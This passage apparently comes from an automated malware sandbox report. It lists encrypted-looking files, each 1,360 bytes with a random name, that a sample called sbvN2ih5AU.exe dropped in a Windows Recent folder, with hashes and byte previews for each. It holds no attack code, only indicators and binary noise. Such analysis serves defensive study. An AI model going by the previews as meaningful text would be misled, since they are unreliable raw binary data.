....pq..dp...-l.'N.2..`...Q.#.i.GS[....=g.fWR.(..Kc.A.`...6b{...#\..O..~.4..~....wq..P..)K.`.>.....(u..;%;...E.X.......(y..9..G.."9.:'.ip.'i>..7.N....C.<<4..#._*...{L.y1~\.pG.+......._g.H..M7..Q...N....qr..$...o..7L.R....5..7F}../..t.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NIRMEKAMZH.jpg

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.871889458812477
Encrypted:	false
SSDEEP:	24:QAU4jCmzeVtNevFzOf0oiAWFfXsL38Gbz9eGXdQiC4xL2bD:2KCeeVtodqf0ovWJsL7kAC4x4D
MD5:	E5590E253D02D2636AA4161CE60D9EF8
SHA1:	6A94D0F54FB86A2CB112610BCD21D1375B604F25
SHA-256:	E9E766DFFB1F3316E09E5E529A65CCF123E0C0CE088719C64FB5B4A0351E819F
SHA-512:	974A66E683184FF054A03E34567BAC9704DE4E1AD4BC5A9AD205FA43036BD24695E9051477B158B9A607C26541E391420204ABA5043BE775E277C38BE68CA3F8
Malicious:	false
Preview:	NIRME.~.b4....t.I.v.......A<.UL...<.J..$.(G.....!.a.I.....8.?.....zGY..f.=..........Tb.y^e.+f.......6....Q-].....2..,_..^~......^.9....S..O.ah..H... ._'............'..?..:)5(<..8i.+...:...`.....Q.....t[.,.9v..#.....7.5..h...7...9._.j... 6DF........64.b..EpC....2.n.I.m:.O..8.."n.$.$\.z.r<..V.ls..H.m.$.1.i.G...oDc.qW..k..+.....R..g.&.w!L....._.=..:D...^...)w.N@....I..P.a.......:G..O5..G..`As..^.)>.Q~...vT.T..N(.b[..c........QU...4.....k/.....dT..5.V.[....(t..x.@.,.......T)3w........2...~.1i,&...2/...F...`h.C..[WJ...1..o.V..e.<....PI.!,?......U>.>M.. ..\|d...R94c.t.m.....tu.......v.qA.....j....4w.C?o@V.Z..b<.c......0...:c...`...yJ?.....7.{.4n.4....q.75...PTA.k......'6V.:..q.......Q.....`8......I.X.._.....6...Qa*....A.B.....]#.2.;")nO..@0.tf`.........h.HC...v..t.t..../&I.>h/..]...Ky..^q.....\..bO@?.M-G"[S.....[)....i..m.d.....o.a.Z`.l..=.R..W..yy..@.....4.....vMX\|.<.YpS.....c.3A.."UxD..~A......a...?pL);F.....{Y..d....h.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NWTVCDUMOB.jpg

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848975007627096
Encrypted:	false
SSDEEP:	24:lyHApMXENdenBLsy9xVOPhNV2lUpBGaukNSQ3O+QwY9+x1/4vCo35Wye1RsxT7E7:lyH8MXUenNHOPhNQGNSQ3xCgye1y6D
MD5:	8FB7644D43B017D735CA2F1081B5407D
SHA1:	12B87840B4914409A5B0E4F2243AA004A8A320A3
SHA-256:	C1D5563C84F8B0485AF51E3A34E176DB416EA1EA8EEF9D8B44D27E74D2346411
SHA-512:	0F6ED2D38DC9D263132B2031D4A9EB503D462B6927813C6BC49BDA4B94B7A1CCB44BB18612CB34481C528450D7C5B8ED0383528EFC790583D9C3C9DD109BCA7D
Malicious:	false
Preview:	NWTVC..o=.:fU..A Ya...4.......]...../....fH.QDIs..N.Z.....Vy@..U.Rh.H..O.ig...~~$-.G..G...'.rb..\....fL.02k.}sl...<x....@.7.'&.. e.G. W.d...2.\0tPF}.._....E.(o.{....C"(....J...:..G.Q........f..c~)....N..z9.......6.Y!\|..p>..VHc..G....7V..R...V.je.r:...SF...A.L.L.......K_{B.(.mLj.r.n.......P(=<1t.....OI7.@._...Rd.Fi.v......Y.V......(w..g......Y...<^....Z1].9G.T... .H.B..Z9..H...P.j.i....'.6].3K...J..o.....1..,...'.]..6...m..$A..i.....1...W...kj....E..S.(....X.)$.....E.2cN....18.....A...\|.....\.\|..y..(,'.......1..9B....4a.....I#C.z.d>.!..@W..d.P.:m..p]..~.k.5J....[1..<...6..........RV6.8....T..j?.W1....H..w.Vz<.q y=.=....`..$..=.......T.n..n..'c.[^....v...=N.{.5..@>.D...g.1C..6A.Q..>6....v..oB...%...u.Ct...E..9[..s.E..~./.&l(S...(.B#%!v.e.v..(p.M....M.u....Ed../D.Yt....)d.\|$Ey....r..W.....`...g.Lf.....r...D;...qD.RN...z...H.Y5.Mw.8....b.A%.t..B...q{..a.;...-...+.1.Oz...e....x..3)...ljc.VW..0.GV....K....k<z$8#.QB..\...C.]a.).f....l...>..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NYMMPCEIMA.mp3

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.839767996862747
Encrypted:	false
SSDEEP:	24:cvXnMUm+q04xuw/Z/GOb+9GbduXV18VxQ1LUCvxDeE/B9wmT2bD:cPz1wx/GthXkaUmDeqdAD
MD5:	5CDB1DEDFAB824BB3EF85EC477D866D7
SHA1:	1DFCA743F584C1AE26EB0819686383C3EDB3F47E
SHA-256:	A8C831027740B8F13A29203D6AD2C568D2504E7BFA66C5842C539B6EE9ED3338
SHA-512:	00D1C8A451BE175FC5A1A3223A5584A5F75472B21C7E27D65A7CFF348190524A1768FA0FB7EF780BBFA341B9683570321ADD95D53FBBB82E0A2EB28733E589C0
Malicious:	false
Preview:	NYMMPM....B.sM....&&..i\.z...R...:{O.7.....P....3.WD...\|.........;.v......&....ZF.......+...w..)......P.. ..k.....%o.....v#=e....<1......u......i.....;k.)vW..CZ..I...i.tC3.{......b..MH.,. .. .... pA......W..f..sO..b...l.5K...4$T...5..L....I.u...a.[.:.D=....pc.-................Sy...5..(.n..._Jxd...,M.d}{...aT..SJv..}...xy.[..%..Ec.$ G..hM.b.!....o...C.......\S....a....Sk<{)5.?l...}.O$....4.z[-..C..E.....y....6..yt.p..s....pj.~.vv..s.x._..M,......`.y...K..>.p{[...z...i ........a2}";.T^...a.b._...}.v..\/.#S.....K...........r....\|.U...c.=.\......yBh..H.E6M.#o...ll.:.w.P:.^.D....Z.......8........^..#q.B..... ..m...pV..F.W.Z.T99C.A).y....)'..9d.0K.......'.<..Fn.]o0!..!./%.....O........p.3."_...h...J.e.5.K.%JiA.:"..,.F..y...8.~....V{.......\.M.zG&V...O+..kS....O.\|Yl..?D.."......t....K..\..`.._tg$ao{..R.tl^...T.@..V<.......$x.Vn@J....>.O.-.....k...w.-.....y...c.x..a...H....~..=.-..u........*..uL!....M.@~u....6...p......E.4..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NYMMPCEIMA.pdf

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.832986900094232
Encrypted:	false
SSDEEP:	24:z6ypsNID/In+h4VAC9FjfLRd33IzR0njfWbS/7VvBialuOkuoltD2bD:zf3Dw+FC9RP5jfjYaluOkuawD
MD5:	1A4F5503F2D5AAFB84EEBC064403EB2D
SHA1:	B9047F0715609E291A46461EAFE53C726B84E766
SHA-256:	6B7E908BC500CEF48153DFA5DE7410C42479ED8C84FA483AE258D25EBB489EE3
SHA-512:	8C02E757B44940D92E5A88D2D2BA92E2DDDD6ACA10CFEFE44C2D1E37C137BCAB10A30122B58B5D661589EEE80ED105D8923B09CB94E3215275F5D33793F76DD9
Malicious:	false
Preview:	NYMMP.........Z..X.O.F.s.....Y..E6.[M...BX....W..Z.-.0.#k..7..<.........nl.....a.].....p.Ix\|..n.......m...c.M..j....H@.t2].<U...K.>....6.0nkP.......}.6.B1...<9.@NH8.rw........G.$.J.g...\...9..#K.y....4.^..K...&~..H.Ts.....U.....v.D"e.z.,.L.I3pG..S:....gO.4.....fyh...F.....c\|e..}..I..].J#..[.%...rW..7....p.leKd.wM...8..L.$v..b9.Y...;.D.vB7.".5SS.6..<..\|.K(8z...~....E@9.N.a]a..o..G...\ :jxM..@.+..O..5.5..R.P.!..v}...0v.....W....9.c....(...D+.h.8.....f1...X..)...^+..........8Ol%....e5zM....l...zs.......E...,2.}y..ZS\..K!5)...-z....D.....40D".VZ.{...&..s.Ns.".b."zw...Q.ea.K#....H9.B..:2....Y.....a:h{@t.-.l8@V......b.8!.>....<.L..H.H..G..CL.#I..f.Jis"......[/)...A.@r].4r...^{..4......5....3,O.C6.\..;...P>Zj?Ut......`.0Q......&..7.v.$.d.D........[.6^.4.....c..C......"....${.C~.x.e.w.t.....0......Z..bk....K.kr....-......n...f.8Zcm8.....O.."..<fs.K......^....y5.;..9.-.4...AU...hS...f...3=..o..+....J.P..b...s....F.K.6/..A.8............/...7.,

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NYMMPCEIMA.xlsx

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834078554593203
Encrypted:	false
SSDEEP:	24:x7PofbBJ06Z7Ftflo1Q235NC8BnKui5VQx5dPlGiMuOkftUgjTMybHE71UkzyhGw:x7P76VLfliV508BnKf5eLWMz1dgyQ4D
MD5:	F82E0D014E30BED18086CC93638CC6E8
SHA1:	7DEB60D5711F762884DDA40AF1EEA801FBE50EBF
SHA-256:	57C60D659B74ACDA48FA6688294CDB43579A95945C18C4DF90F0DBAF39A159E8
SHA-512:	FFD5ACF17D1B9590BC987B28F5883BAC77BECB403B4F3E719B5ECFB546BE57C52B4E7C90807AB247EBE8B140274A26DB4CDCFA6EBE409ED4B114B3C88A5022C2
Malicious:	false
Preview:	NYMMP..9..\...v.8.(...pC.6...x.....~Q.J.2r...R...=S.........q^:......s.:.....%-.u......S.-...^B..(...J.=.O..Q_..p.E0..f.`.2....9.}..n...$.......e[.k.1.1(X.y)j.^.vTa.X%.3;.....&.....B.V.[....t..Xw......^..v..Z....z.H..U.........T...j...w.p.Q.4;.Y.....i>......'U?,.c.!.7.wnV.i@...9}..Xie.,p.~..(.Q. Z2@Q.r....:s5U..`......c(.'.O7r.&_....8.....Ez.....MO..28.D.zhT.#z..dP..D..\|...r....C{. ......../.\.......]..yA.3.hs3....kO.`_.w...y.W..$xA.ic..d....0<..O.....m..+!%C....i.h`.z..m..m.2..pX.{.{....<..0.HJ.-t.6.-...~.;.Z..q.....R.3s.E..@8..?I..,.Y.Umh...Z.....2^...C5..U....7!.....8\|......m[=..X'...+...-..M..Z/...u.Ws.]..yG.q.+.>.=.T....j...@..OO_..n.>..$.T...y[.....f..L-;.H.'.V2......I.....~.).-.}...YRu.......q.N... `....F_.H.]..nl.^G...e.}7-..o.I.e..0.sJ.Y.....y..y..... ._`o..6{.e.vy...S`]'.....7au.E1...y......]+.....!.H...+1..v.....q'...DF...[5e.Q:.\|..7.^.=tp....-spt.#..m......%.g...b.+"6..%.j.c.g..C.....6....."?.6....I.......M..._Oh...iZ%5T..@...(k..;R....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860309721114121
Encrypted:	false
SSDEEP:	24:DqPkjVpSsNP0lwzHds4U5CSxLK+/Ew0oRnooVxsXPjuHxk4X07H2bD:Yk3hNctb55l/EQRooVECkBED
MD5:	EF8BBFFF054B8C3F4C1F76FCAE7842B9
SHA1:	12E4B06B30DB9C16051A147D93841D6D4D503DFA
SHA-256:	F7E0CA56BCF582E565718C5B29F70DCD0B3BA3F07446D2F4F0C708F613B1F40C
SHA-512:	28053318DFEF2BB604847B2E070FF47CE86ECDC56EA4D5E311EB49012C4919078F54F437A5A73F8B3DA49EB78E51FB51AA4051367F277293BD7071521157CF85
Malicious:	false
Preview:	ONBQCD.-.3...=/.m....fG..Uv...H:.+.d.....X.YA.....ci ..........\;b+..N_..........A.[V..}.......4....u.C............0...IA3... d.ht.Ua?...k.-...,......ZF.>{..9)lTe.....r..N.c.....R..y.<.\|......WlN... X^S.X...1x..].b......F3.8q..TJ...[..o.A.r......C-.p}..M...O. ...<.\=..V..9N4..C.Um.8)-..{$..5.m.....gD......`...\CU$.X.....!L.`...2N>,.E......VY...tm.p.C.......Z.G....Zj..J.Ji....G.X...eM.q.LQ.q.....S..gx..t...&u..{.S...Qp.4..l.h..c....[5fu?.......B...$C@..{...uv.-.&!...M.....Vg!.......-..cI.`"&....4.....A.=......D......yp..X......X.........4...A.....a.B...}...4ee........2....0...A..np.z....:...3.`"..T..iR$.>...n..)qD3......R[.j.\................)C.\|...mG-....O.!/j......I.u.?xB..Dz.n..f.. .q.x.R.yz.[..zs.}.nS~.T...W....B".....[k8I..@. 0._Q9.K........V........6..DV....~.5.T.U...M.....q..\|..P."..s..M..U.t ...*.z..ZO.I.....r................^..,cC...........9....zkXI.. ..r..../....c..y....cF..)..C.dm..s... .sa.;H<.........]I..2ot.O.Ic.STw+4...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UMMBDNEQBN.docx

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8389283651881705
Encrypted:	false
SSDEEP:	24:KQaWvAq4c6opbw9Rq7IZ/H0cYU/QaawDN8WT+6x4mLimbkLJ3Vit2Nd+Jp3VT2bD:HAvchbIQcYp8DN88+84PmboJ3GAulAD
MD5:	203F99092B46932B7E2C15372C8A2BA6
SHA1:	9DF42DF67B881F6A82F0AD3711C82064E6AFAD2C
SHA-256:	4F38F9A83A6D6A15194480456E927958BF593D6966F0137E4912F56997809582
SHA-512:	37ADE0002DA4C3CE9E06EFBB3FB9518DCE4FF3E6A728DE0210620A1FD051BC95010D2BBB034CFB54F98E45DCB600A5CEF56A92D538ADF3A23E66058F65F8FC33
Malicious:	false
Preview:	UMMBD...O0....2..G.].,W..p(.......9=..B..$....p..........c...B..M`.4"...lm..-...eZ6.<.C.!.I..v.hJ.`.)...,........eS.d....mQf....W..G..E.m..Z/z..8.6z.^....O....B.g..:l@..r>_E....U.~.._....a...3.. \|.)..<.;4....3..?#.k.N.s.Zrl...%..h..\ ..?.....V$........ecM\....%...#.o>....?..x.#.$..H......N..wlB7wN..,...?4..F....$.......X..$.h...V.#/{.8..vn...z...f..^Z.....M7`....]..<........2...l..[.T..+..U..eM9A`...L4i<..W-a........9.$...Ir..f.W.z[....)j....][.....!..}..Q...].o.....wTL#.?.KQ...U..$.^.\..G....bI^..:...6.V....$..v-.j.E7.2..L.........L...5.7a.s.........q...~..Mt.-.....i..ie.(.P.$....m\|po..p>9b7pfAe%h...x.i.B..d".oo]...ls......S,..\|.W..\|c...y..`.............(...OBP.6..-d..W..&...@.p%...O.{.....r\|/.......Z)&....N.W?.2.......n....T..7.A..........t...\|....b...h.^....Q...t?2;.......r.......?).Q..:.k.m.....IX6(I......=...C..e.A........RR.A..g..(...m.I...-.l....0..s.....x../>...n..4........'..k....3..a2V`......".q.@01A3......

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UMMBDNEQBN.pdf

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844429702848119
Encrypted:	false
SSDEEP:	24:ZfGSGF1zITWKi6SkachVbueQZkNDGVJ/tnd8jQs3un2A+6ZFo3ZVoKR2bD:tQ/Gg6KchhueQZkNDGBnOQs3A2A+6ZKA
MD5:	0209878CC0EA033919460D1DEE9AD5FB
SHA1:	0557095F1E6F9D6B8A90147120AEBD4F88DE4E5D
SHA-256:	1F172BE3DB4E8A6856A16E1E5F54C4C7B94DDDF840F5AC705AA9D0D0E7D49A83
SHA-512:	6DA110A5D13907ED945847BC15C15506B068A82BBF7C1A80A82E4878A4AFACA254C78B9DB6E846D76627848DF0D5B1E9DC30B76DD6E1119FAC51ED3CBC5252BC
Malicious:	false
Preview:	UMMBD#E..8.[.8/.-.E.e.......Qg{R.N....u.v.<.oZ.S.....i.2.WKJ....$M........h.RC.2.9<.....O-...>..=s."w.).X.......!SgF....& ...,i0h..7.n....jl.FZ.X#z....\|....0.....+...J.e.....g"..0&..\|.x@[..bmM.b.;.Mm.L.o."....z.%.Z..L...F4.Y-..!.%.#+.....I...B>pe.o[.Sho...AY.n\.....b.RtE#P.?..J)$-,.A'.7..FT.n.XX....G.[GX.z..D..8e.O..Ru):0.z.&..-B.....9...b:..o.q.Bg.l.vv.j.W... ..l..f.nk.K!......M?..T..2+^I._.D.#:Q.I....~.Z...S.I....17.x...i......n:..'bd...#S...-...,...mC\|)m........g....:.........>.?-...'..B.....Os\|8.....{...P.M..u..;YV....c.......0.BV......%....O_.M.../.F.'.j.h+....9{ai{....r5..e.7..!.O...Zw/@....(Z.9..4z.^..%V..Zlwx......\..f..(.K.)...C{....+....f.12...g....sC...H..@.^............x.....Y\.I.Q...S...:..x...]..RX~"..Z.._.Y[.$.^D...o.+....>.w.@...@.....6....(....]..r.\.gd.1.O.9....../......m../.O{zW.R.v....9.../*..#..q..wgOI.1....e./..0....\|.Zo.Q.Be.G.u....m......w.E.....I.8= .B.5m....0.h.w.."..\|\|.:.F.M....^..17...^.n.Q..-!.%.x..s....k.xr

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UNNQSMMCXQ.mp3

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.869877839686543
Encrypted:	false
SSDEEP:	24:pWt2IFg9Fm3NCvb4pe0IcBRswazQQulexbOUNoDTPZ8r78xpt4DHKGmeU1Ez62bD:p8kDcNKbHnMRM0lexKUNoDTPZ8r78iDJ
MD5:	2F44FACFEA1AA5ED3B5DFE6F93F5A657
SHA1:	16262F72C4298EF2F8BD5539D0EB5C5E40C9D53F
SHA-256:	442F6DD57F3DAB98AFDF4F706991D10B53CE596964DC3460B12C8CFDDE0AEBAD
SHA-512:	2D94D2FA3425B0213B166DEA414818C7C96AEFAF2336E952CB8FA1B549443CC464435EEFE903B7EEDF181A65112B52D5E768BE22306DCAD020A931F86951B18F
Malicious:	false
Preview:	UNNQS.v.."aa..................c.!.nWam..d3....\|o..\,.....d.;'.m.I.~..k.:......L..2.....4..$.m......`.^.Y....^..zK...1...d.Gd~..6.G..7..o.`.U.G...6Y....P.j...'....\|vP...w...1p..u...x/..ak.B.Q..(R:...H..f......l.f.K%"...1,..n....\B.Mj...f0'!...e..n#.q.......R.Wa.i.b..N..<h.L^1l..r7 &.".._.\|.j`....:.RT4K...".J.......c.W...S.M.a<..bCC...O..bTv.Wg..~i?.o...[......@.p.J..\...]j..cH3..6. .>.^y.D>..{..9....A...b..u........2..Y)#S.....f.C..\@........GL.....F.K......."m.Q....E3K.B.!......_..g....a4....c...~.c9../.o....}.B.K...dn.z....1.ov<..%...zW.....V.......E.c...1.....e.C....9.N..Z.L.`~eg..9.V...../..s.`.v...d%..q...E.?.-.........s...i..Q....cQ.]...(..o.~...$.........5ZZ...Ot..9....?...8.?..H.....A....I.U...=.....nj.F.0.....\.T.....8....V:..7...b.y.kQ2......n...s..cPFN+v...+..T......jR.>..ln..J......m.3......Cd......D.>..N...k>U&Z./.*.....)\|..V'.'h..)7~{...d..E.k.e..ps.wA6..=..^..#......6k...f....ekf.6,.Z%...B..=....T......7._...bg[.uW

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VLZDGUKUTZ.docx

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859018524889729
Encrypted:	false
SSDEEP:	24:/3BVInY/MM2/l0dw7+5mO3cV0bgNUDpPzRPzMkz2bD:/3Bi60s9bDp9PzMxD
MD5:	8EA9EEE2D1FAF3436F761D3080770A3F
SHA1:	3A80240886F435D17C50153FA4468DF63C1C90F7
SHA-256:	B2ED711758DA299235A860A5095D952AC75BD8BCA1E12AB91FBF2046A26B0110
SHA-512:	5CC6E47FA537C4749F2770C78FA7180E74C30A71CA2F0341F1459F2D5C20FEFAA84708793CA9E07680BD8C690E94553A3F1DBB6F729A102325707A5756AEDED8
Malicious:	false
Preview:	VLZDGy.J_.....U..A....X....Uu9J...JB~.qf.@.r7.e.....d...a?..6z.4.....5tr..s..8l.......k..gVRad..t. .&vR...q...X........<>..._`...OE....lQe 0(..R\K/....K.....5:P......Q.. ..6v.R..2.N_..hf.x...'hO-S.I{.`2.a.8..R}..i...fztD..H...+.'Wa..mM..c=.S...0V..V..../.]c.6n...#...xN..l.......-.A...{.H[E.9e._.]..N.)K..^.c.e}.#......8..L..J.E..{.%a.??..%..?L9Oa..)!.o.[..N....O....$.h...?<1...AP.....Fw......$dK.q9+rGH0.z\|..w.uS.J..Ga..P.C.R3...M....v....K..C3v$....@........1I..2..l..e.cT[..X..(.z.4...r.v..4....3.....&.....".A.l{..96i..}..N}g:b"y}O..Hn....RB...n._.....4.S.....o....S.UD....L~...k.......v\|.....L.Q.n...^ ..s.P.......k.N..............!.I.....hoG.i..e.N..'.])..S7...a..4I.....Jz.k.j..o\....R.....T.....:./_..'.............U.."!Z;../..-.....H.. ./..T"rN.N.W.z....m...:.\.K@...6..9 .......\.M7t....,..}..4.>j...EX%.4.....J..n....H...d..9S..A.l..5...jo.3.6.._..E....h...T.>.~.....lF6P1.~].i...IE......F.Xh{....}.-..&3..Z^g&xi.^T.".7.c.1......

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VLZDGUKUTZ.xlsx

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.864527622834264
Encrypted:	false
SSDEEP:	24:Q/So+AlqEM4rGHGvOW8xvU5Q87p7j5PVkMqxRMw9LZYsG/l0sExPwQybq2bD:Q/f+Alhr1OWCc5Dd7j51qzMENYsG/IaV
MD5:	2EA286DCBE825A37BC43B96C593804C8
SHA1:	72B7CFD0BB1FD6C553ED26469FB0F9352E55854D
SHA-256:	D67BDA05A8A9E33203E1F56CB2553467DD2F1D37546DA4AEA9D79D316E6C336C
SHA-512:	AA97152461DE57DC17DB17F8AAF551910F7AE754CFDFA36D9BEF63343C3C67EAF27D85FF984B13DEB799F18EE874442B1803DC0B1961634D0A47FB2615F95EEB
Malicious:	false
Preview:	VLZDG.......i.....7u?.1T.}V....-...u....h..Vz.B^u...t....8"coRB\.. t..[...6}..hT..\|...t....g'..qc7l.<..bc$.C..Q'b)h......HMI..UH.7<....uA....$....'.98...c{.....~.E......B.K..Fj.t.q......O.4....:_...C6(W..bd..D...4.W...\|wY`%...G...H#\S....Xx...1N.$...w..b.z.7..#.:.bH$6-B..l.....W..."..v!1.+k.z..I.I4d4Q. ....V..-I_...wbu....e..@..7.y...P......>.S.T......iz.~..N..`G...z...0;M.....[..2..6..3.y...e6.?{.!._N...%%...........@SS/8O.3Z..).1..7..B.W...........8...g..E.C..#1CWW"...NF....AV........p......s.!)...p.@.......`.]z.c6-...;.XWy#...CD....:%...X.8e.2....sr.}..q..-.)....F"".S.6~c).].........=.s.....(...]'F...n.6...1j..X[.^.&.......w^.V....J....xZ@..a...~./!p....d%.........v.)R...e.Y...izoJ@m...........Z9>....Z.J..5nB.&..J)[....8..4:....p./..([.A.)..._m...C......._n.D..,cJ..>...b&k:...v...2.....i............c....b...1h,w.=...b..TW../+...t....p.I)...?.....`.8.2..p.1....z..J[...g.q.f..a.s5/}.ReJ.W]n...t....G...*.\|gD_.n#p...7n7w.F...>.. E

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\WHZAGPPPLA.pdf

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865906083302243
Encrypted:	false
SSDEEP:	24:Wx/GGxs9Z6jYvprXj+AzTy/ZoutPSwzq83Xr+HMSSIKXI+fXu1+8X2bD:Wx/Gb9ZmYxriAzTb+SwzHr+HFSBNfXIC
MD5:	B9E59445721F3057D8C029ABECEC572F
SHA1:	652512F02B4D623B87BDDE31AD7444E0E2B82C2B
SHA-256:	5691D24E5F10E54DC9F99409F4E119648074807F73471D60DEED05BF7751DEDF
SHA-512:	2057D94890D683F706E761FB171DA718D701CBAA2B846702D9DE80837B65A421AB71CD42D5A2D6F28B36F34B3AB0F6B097EC0C6F5E9DB5A268E9FDD45896AEE9
Malicious:	false
Preview:	WHZAG......B.b...Il.^..5yXig.!.w..S.t.8.......[.......,.}..G...0.....]......Z...KP.....(...E.J.,.m`$....)\|w....h..........#.:.........Y..r........h...Du././AI...M$....T5...h.gC..%...."B........d.x..Eu1o+..E;dE..DM......s......;.w./...uh.OY........]..<6".H.8.B.lTJsG....H.n....H..!r...1 .=...]..@W4{.....l......q.x. ... ....\|L..'...O+.o...K8X...=L....W.......!.].B._Z.t5.Yla.......... !:.,\|.8.$....3.......F..Ob.\......U..S.-^ Qi;....-0?..j..3q.+z`#z...& ...%:.b>T3....:g^...%....^.('A....h.....`.7...&'..\|qG]..).%.....~....Q.s......].c?.>WC ..j...Id.0..j.....S.4...k7.....d.~<..S..`.O.1.I!... .[......&<..?..q..OKw.....H]..P@.\|.R...../.....t..~..........#..TB...T..->..Vd}..%.d.....\3.$.4.B<u."/...?S.l..0..6.n....3.C.@..-F_T.......<E...+.s w.d4m...{JWz.wst....=..t.....\|..x~~...+m-.Q.7IK#$V.>d..!.aN3_;..%GN.z...>.......`.u\|.<......jW...7.Z....DtF.}.a.A.$3..P.b@...........a..x.;..8...3..}....F.vq.x.D>' .{k.L...M..4....9.}&.3&.Q..\|R....!<.y2k."...H

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\WUTJSCBCFX.docx

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8461877671062155
Encrypted:	false
SSDEEP:	24:9D9p9stLMBWAtJPWwmPcpQdjmOpg2zsHXEuMAeQQBLcBZgK3A2bD:TUdaWAvPOcSd3uM+QBEgszD
MD5:	10CE73CB0DB6BA61CE5E9BF10DFA0BA8
SHA1:	B37CC1A105E9C611331614520397964A90B31AC2
SHA-256:	9A5CE9C6EDF06480A0A680AFE84C5E4ED4D6C8FDA5D3960F7BF5023387BA1134
SHA-512:	48FF5D08C878A79E6B719001560EFEC27F27A7FAED6A1BE97F5A0D2B48C983CFC6F056B425F9BBA223F02DAD8CF282040F67F903440B4E241B6BAB80EDDD95DB
Malicious:	false
Preview:	WUTJSA.._.A..1...(...9D..Y..X.%.f.s...#.~....h....hD....n..%.63..../..0..aZ.##zIm..3W..+.Zw..B"rT..=...\.0....A!\..]S. ..aE.)...$.l...R..@i.-v..r-. U........h1.,.D.Z-...b\|.z....t.?.:...... .d.......Z..@.@..3...g..ni7.<...+.[7I.?U\|....cU.-.wr."...Q..V..F.q..........9.....j.$^....;.a..q.u.ZP..(..s/..W...g...L..XE...-...P....u..p.Y.C..;4..p. c..+..m<e.U.{....S.w....L..V'.Q.^Ta.....[.e.g.q.5a.E..T..&.S.L.x.]..Ae6.+..)r.V.m.....z.mV,....-..P...`$.-.b..E..>s\.V!..%.b.Pb\Y..8.PAU..IeM...6...7Sb.....6..0.F".j.,...p#.m..9.Yw.cg.d...l.+.....H.V.b...H..H....o..twK.....h...1......^b.n@F.......C.y....h....4.....X.L.zg>.;....s....kRB8..@..@..B..v7.Q._..dOnP..,..t6<\..].Y...9..`.5...7A...w..OL.$B...H....].e]5..r.:...z.@I_.Y(.o.H.H.........Y..s.1....C....F.>.i.V..V..lF.......=z.e.d.......^n.aZ....2q.@{...R\.S40U.....SG...=..G..-;.T...C.+9jVk..\.32*.,.d.....M.}E....;./&...MS...O!..@F..\|..N.....mwM.......E8.5..m.96B..W."\|........jx.c..5.[.y..m.%...].5.:

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\WUTJSCBCFX.pdf

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840929015319623
Encrypted:	false
SSDEEP:	24:9LI7HqpJtUo58CIBMUr0NRbJnmVifCVU737iN/Gqod4DjGaKjQthtL5kx+2bD:67Hq7tJmCIBtwbJnYiYM7vFd4Gb8ftS7
MD5:	0D82C348935B077B091C2BFB70A7B353
SHA1:	9B55E6F400FEE07D996C6A049565894E5E2EA478
SHA-256:	F510470038296E55EB868F594A1713CAA807E197808050532922BEA8861A4F98
SHA-512:	C99EE70E2CD97279116186D5959AEDC4C03BF20F67F4EFB4F836729D90E3EAD7D4C0C0A16A621E1BEAEA1AC90B22F2080A297E31B19F72620833F9CEE5A8C73A
Malicious:	false
